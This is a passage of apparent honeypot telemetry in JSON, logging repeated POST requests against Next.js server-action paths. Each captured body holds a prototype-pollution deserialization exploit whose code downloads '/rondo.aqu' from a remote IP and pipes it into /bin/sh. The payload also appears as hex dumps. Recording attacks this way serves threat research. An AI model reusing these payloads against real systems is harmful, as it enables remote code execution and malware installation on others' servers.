a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d34623438363436663636393738343736613235653535353962326635316661340d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d34623438363436663636393738343736613235653535353962326635316661340d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d34623438363436663636393738343736613235653535353962326635316661342d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"b53b2239-55b9-4d6f-9b70-3a8b04a3bf9c","seq":1,"duration_ms":0,"bytes_in":1001,"bytes_out":77},{"timestamp":"2026-09-07T22:21:48","port":3001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"692\",\"content-type\":\"multipart/form-data; boundary=7e9071e01757292c5123cb725638e219\",\"host\":\"<HONEYPOT>:3001\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--7e9071e01757292c5123cb725638e219\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'94.249.230.216', port:80, path:'/rondo.aqu', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--7e9071e01757292c5123cb725638e219\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--7e9071e01757292c5123cb725638e219\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n--7e9071e01757292c5123cb725638e219--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/_next","summary":"","payload_hex":"504f5354202f5f6e65787420485454502f312e310d0a486f73743a20<HONEYPOT>3a333030310d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d37653930373165303137353732393263353132336362373235363338653231390d0a436f6e74656e742d4c656e6774683a203639320d0a0d0a2d2d37653930373165303137353732393263353132336362373235363338653231390d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a2739342e3234392e3233302e323136272c20706f72743a38302c20706174683a272f726f6e646f2e617175272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d37653930373165303137353732393263353132336362373235363338653231390d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d37653930373165303137353732393263353132336362373235363338653231390d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d37653930373165303137353732393263353132336362373235363338653231392d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"8c3e984d-ab0a-42d0-84ad-450f0359e8e5","seq":1,"duration_ms":0,"bytes_in":997,"bytes_out":77},{"timestamp":"2026-09-07T22:21:36","port":3001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"692\",\"content-type\":\"multipart/form-data; boundary=6d86d3c4adbe0bc8298fd9af8eb74705\",\"host\":\"<HONEYPOT>:3001\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--6d86d3c4adbe0bc8298fd9af8eb74705\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'94.249.230.216', port:80, path:'/rondo.aqu', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--6d86d3c4adbe0bc8298fd9af8eb74705\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--6d86d3c4adbe0bc8298fd9af8eb74705\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n--6d86d3c4adbe0bc8298fd9af8eb74705--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/_next/server","summary":"","payload_hex":"504f5354202f5f6e6578742f73657276657220485454502f312e310d0a486f73743a20<HONEYPOT>3a333030310d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d36643836643363346164626530626338323938666439616638656237343730350d0a436f6e74656e742d4c656e6774683a203639320d0a0d0a2d2d36643836643363346164626530626338323938666439616638656237343730350d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a2739342e3234392e3233302e323136272c20706f72743a38302c20706174683a272f726f6e646f2e617175272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d36643836643363346164626530626338323938666439616638656237343730350d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d36643836643363346164626530626338323938666439616638656237343730350d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d36643836643363346164626530626338323938666439616638656237343730352d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"13e9dac4-bfee-483a-829d-447c6c92f6be","seq":1,"duration_ms":0,"bytes_in":1002,"bytes_out":77}],"http_methods":[{"method":"POST","count":19}],"distinct_ports_total":2,"top_paths":[{"path":"/api/route","count":6,"ports":2},{"path":"/_next/server","count":5,"ports":2},{"path":"/_next","count":3,"ports":2},{"path":"/app","count":2,"ports":2},{"path":"/api","count":2,"ports":2},{"path":"/","count":1,"ports":1}],"distinct_paths_total":6,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":{"signature":["Accept","Connection","Content-Length","Content-Type","Host","Next-Action","User-Agent"],"representative":[{"name":"Accept","value":"text/x-component","notable":false},{"name":"Connection","value":"close","notable":false},{"name":"Content-Length","value":"692","notable":false},{"name":"Content-Type","value":"multipart/form-data; boundary=d945bf001796f6a43fb46da0c28ee56c","notable":true},{"name":"Host","value":"<HONEYPOT>:3000","notable":false},{"name":"Next-Action","value":"x","notable":false},{"name":"User-Agent","value":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","notable":false}],"distinct_sets":1,"events_with_headers":10},"tags":[],"data_as_of":"2026-10-01T20:21:12.780522+00:00"}